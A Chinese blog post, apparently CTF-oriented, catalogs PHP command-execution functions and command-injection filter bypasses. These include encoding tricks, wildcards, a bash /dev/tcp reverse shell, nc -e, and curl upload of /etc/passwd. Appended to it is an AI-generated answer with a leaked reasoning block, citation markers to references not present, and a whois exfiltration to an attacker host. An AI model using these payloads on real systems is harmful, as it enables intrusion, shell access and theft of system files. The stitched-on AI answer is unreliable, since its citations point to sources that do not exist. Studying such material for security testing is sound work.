命令执行漏洞的利用以及绕过方式

本文深入探讨了PHP中的preg_match()和preg_replace()函数在命令执行漏洞中的角色,详细列举了system(), passthru(), exec()等命令执行函数,并介绍了多种命令执行的绕过方法,如管道符、空格绕过、黑名单绕过等。同时,分享了文件读取函数的使用及绕过技巧,以及如何通过位运算符进行操作。最后,讨论了无回显命令执行的解决方案和一些实用工具如nc, curl等。
部署运行你感兴趣的模型镜像

命令执行漏洞的利用以及绕过方式

1 preg_match()函数

preg_match 函数用于执行一个正则表达式匹配。

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
参数说明
$pattern要搜索的模式,字符串形式
$subject要搜索检测的目标字符串
$matches如果提供了参数matches,它将被填充为搜索结果 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags可设置标记值,参考PHP手册
$offset可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)。

返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。

2 preg_replace()函数

preg_replace 函数执行一个正则表达式的搜索和替换。

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索subject中匹配pattern的部分, 以replacement进行替换。

参数说明
$pattern要搜索的模式,可以是字符串或一个字符串数组
$replacement用于替换的字符串或字符串数组
$subject要搜索替换的目标字符串或字符串数组
$limit可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
$count可选,为替换执行的次数

如果subject是一个数组, **preg_replace()**返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的subject被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL

3 命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

4常见绕过方式

管道符

windows
|		直接执行后面的语句
||		如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&		前面和后面命令都要执行,无论前面真假
&&		如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
linux
除以上四种外,增加一种:
;		前面和后面命令都要执行,无论前面真假

空格绕过

1 ${IFS}
2 $IFS$9
2 < 符号
4 %09 用于url的传递(需要php环境)

黑名单绕过

例:过滤cat或flag等

拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
单,双引号
c""at fl''ag
反斜线
c\at fl\ag
$1、2等和2等和2@
c$1at fl$@ag
编码绕过
1 `echo "Y2F0IGZsYWc="|base64 -d`
2 $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
读文件绕过(当cat被过滤)
1 more:一页一页的显示档案内容
2 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3 head:查看头几行
4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5 tail:查看尾几行
6 nl:显示的时候,顺便输出行号
7 od:以二进制的方式读取档案内容
8 vi:一种编辑器,这个也可以查看
9 vim:一种编辑器,这个也可以查看
10 sort:可以查看
11 uniq:可以查看
12 file -f:报错出具体内容
13 grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
通配符绕过

?代表一个字符 *代表一串字符

1 /???/?[a][t] ?''?''?''?''
2 /???/?at flag
3 /???/?at ????
...
内敛执行绕过
`命令`和$(命令)都是执行命令的方式
1 echo "xx`pwd`"
2 echo "xx$(pwd)"
命令截断
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a、%26

绕过长度限制

linux中>>>两个符号的使用
1 使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入
2 >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行

用这种方法可以绕过一些长度限制读取文件内容

无回显命令执行做题方法

1.反弹shell:bash -c ‘bash -i >& /dev/tcp/你的ip/你的端口 0>&1’,nc -e…

2.curl:-d发送post请求,-F上传文件-F “file=@/etc/passwd” 3.wget:与

curl同理

4.nc,socat等工具(需要目标服务器存在这些工具) 5.dnslog

6.echo 写shell

附加资料

位运算符:是指对二进制位从低位到高位对齐后进行运算。

符号作用举例个人理解
&按位与m & ​n全1为1,否则为0
|按位或$m | $n全0为0,有1为1
^按位异或$m | $n不同为1,相同为0
~按位取反~$m
<<向左移位$m << $n
>>向右移位$m >> $n

获取文件路径

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

读取文件函数

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

您可能感兴趣的与本文相关的镜像

ACE-Step

ACE-Step

音乐合成
ACE-Step

ACE-Step是由中国团队阶跃星辰(StepFun)与ACE Studio联手打造的开源音乐生成模型。 它拥有3.5B参数量,支持快速高质量生成、强可控性和易于拓展的特点。 最厉害的是,它可以生成多种语言的歌曲,包括但不限于中文、英文、日文等19种语言

<think>首先,用户的问题是关于“命令执行漏洞绕过方法”,具体是“安全测试”方面的。我需要基于提供的引用内容来回答,因为系统指令要求引用末尾添加引用标识。 回顾引用内容: - 引用[1]:关于RCE漏洞的常见场景,如ping操作界面。 - 引用[2]:使用whois命令来执行和传输文件。 - 引用[3]:命令执行绕过过滤,如使用管道符|。 - 引用[4]:Windows下命令执行绕过技巧,如使用set变量。 系统指令: - 使用中文回答。 - 结构清晰,帮助用户逐步解决问题。 - 行内数学表达式用$...$,独立公式用$$...$$,但这里可能没有数学内容,所以可能不需要。 - 生成相关问题。 - 回答中引用的段落末尾添加引用标识,如[^1]。 回答结构: 1. 介绍命令执行漏洞的概念。 2. 解释为什么需要绕过方法(如过滤、安全机制)。 3. 详细描述绕过方法,基于引用内容。 4. 提供实际例子或代码片段(如果适用)。 5. 生成相关问题。 内容大纲: - 开头:定义命令执行漏洞,并简要说明其风险。 - 主体:分类描述绕过方法: - 基于字符过滤的绕过(如引用[3]的管道符)。 - Windows下的绕过技巧(如引用[4]的变量使用)。 - 其他方法(如引用[2]的whois命令)。 - 结尾:强调安全测试的重要性,并生成相关问题。 确保真实可靠:基于引用内容,不要添加虚构信息。 生成相关问题:在回答末尾,添加“相关问题”部分,如系统指令示例。 完整回答: - 先回答用户问题。 - 然后添加相关问题。 最后,添加引用标识。</think>### 命令执行漏洞绕过方法(安全测试) 命令执行漏洞(Command Execution Vulnerability)是一种常见的安全风险,攻击者通过注入恶意命令来操纵服务器执行未授权操作,可能导致数据泄露、系统瘫痪等严重后果。在安全测试中,绕过过滤机制是检测和防御这类漏洞的关键环节。以下我将逐步解释绕过方法,基于常见场景(如Web应用接口)和操作系统特性(Windows/Linux),并结合实际测试技巧。内容基于可靠的渗透测试实践,确保真实性和可操作性[^1]。 #### 1. **理解漏洞原理与过滤机制** - 命令执行漏洞通常出现在需要用户输入命令的接口中,例如路由器管理界面的ping功能。攻击者通过构造恶意输入,绕过输入验证执行任意命令[^1]。 - 常见过滤方式:黑名单(如禁止`;`、`&&`等字符)、白名单(只允许特定命令)、编码检查等。绕过方法的核心是找到过滤规则的盲点。 #### 2. **通用绕过方法(跨平台适用)** 这些方法适用于大多数系统,重点利用命令解析器的特性: - **使用管道符和命令分隔符**:在命令中插入`|`、`&`或`;`,使过滤系统只检测部分命令,而实际执行后续恶意命令。例如: - 输入:`ping www.baidu.com | whoami` – 过滤系统可能只检查`ping`,但实际执行`whoami`(显示当前用户)[^3]。 - 输入:`id && cat /etc/passwd` – 在Linux下,`&&`确保前一个命令成功后才执行后一个。 - **编码和字符串拼接**:通过Base64或十六进制编码命令,再解码执行。例如: - Linux:`echo d2hvYW1p | base64 -d | bash`(解码并执行`whoami`)。 - Windows:`powershell -Command "iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('d2hvYW1p')))"`。 - **利用环境变量和通配符**:在路径或命令中使用`*`或`$`,绕过基于关键字的过滤。例如: - Linux:`/???/b?n/c?t /etc/passwd`(匹配`/bin/cat`)。 - Windows:`%COMSPEC% /c dir`(`%COMSPEC%`通常指向`cmd.exe`)。 #### 3. **Windows系统特定绕过方法** Windows命令解释器(cmd.exe)的特性提供了更多绕过机会: - **变量扩展**:使用`set`命令定义变量,拼接恶意命令。例如: - 输入:`set a=who& set b=ami& %a%%b%` – 定义变量`a`和`b`,组合后执行`whoami`[^4]。 - 输入:`cmd /c "set x=net u& set y=ser & %x%%y%"`(执行`net user`)。 - **插入特殊字符**:在命令中添加`^`(转义符)或双引号,混淆过滤规则。例如: - 输入:`w^h^o^a^m^i` – 转义后等效于`whoami`[^3]。 - 输入:`"who"am"i"` – Windows解析时忽略引号。 - **利用Windows工具链**:通过合法工具(如`whois`)隐藏恶意命令。例如: - 输入:`whois -h attacker-server -p 8080 "malicious-command"` – 将命令输出重定向到攻击者服务器[^2]。 #### 4. **Linux系统特定绕过方法** Linux的shell特性(如Bash)允许更灵活的绕过: - **命令替换和子shell**:使用`$()`或反引号执行嵌套命令。例如: - 输入:`$(echo whoami)` – 输出结果作为命令执行。 - 输入:`sh -c 'echo "whoami" | bash'`。 - **利用网络工具**:结合`whois`或`curl`传输命令结果。例如: - 输入:`whois \`whoami\`@attacker-ip` – 将`whoami`结果通过whois协议发送到攻击者[^2]。 - **空格和制表符绕过**:用`${IFS}`(内部字段分隔符)替代空格。例如:`cat${IFS}/etc/passwd`。 #### 5. **安全测试实践建议** - **测试步骤**: 1. 识别输入点:查找Web表单、API参数等。 2. 注入测试负载:使用上述方法逐步尝试(如先简单命令,再复杂绕过)。 3. 监控输出:通过日志或网络工具(如Wireshark)验证命令执行。 - **防御措施**:在测试中,建议采用白名单输入验证、命令沙箱化、并最小化系统权限以降低风险[^1]。 - **注意事项**:所有测试应在授权环境中进行,避免非法入侵。真实渗透测试常结合工具(如Burp Suite)自动化探测。 #### 6. **示例:绕过过滤的Python模拟代码** 以下是一个简单的Python脚本,模拟安全测试中的命令注入检测(用于教育目的): ```python import subprocess def test_command_injection(user_input): # 模拟过滤规则:禁止特定字符 if ";" in user_input or "&" in user_input: return "Filter blocked: suspicious characters" try: # 执行命令(实际测试中应使用沙箱环境) result = subprocess.check_output(user_input, shell=True, stderr=subprocess.STDOUT) return result.decode() except subprocess.CalledProcessError as e: return f"Command failed: {e.output.decode()}" # 测试绕过案例:输入 "ping 127.0.0.1 | whoami" print(test_command_injection("ping 127.0.0.1 | whoami")) # 可能输出当前用户信息 ``` 此代码展示了如何利用管道符绕过简单过滤。在真实场景,过滤规则需更严格[^3]。 ### 总结 命令执行漏洞绕过方法依赖于对操作系统和过滤机制的深入理解。安全测试中,重点测试字符过滤、变量使用和工具链滥用等薄弱点。防御时,应实施深度防御策略,如输入编码和最小权限原则[^1]。如需进一步工具或案例,可参考OSCP渗透测试指南。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值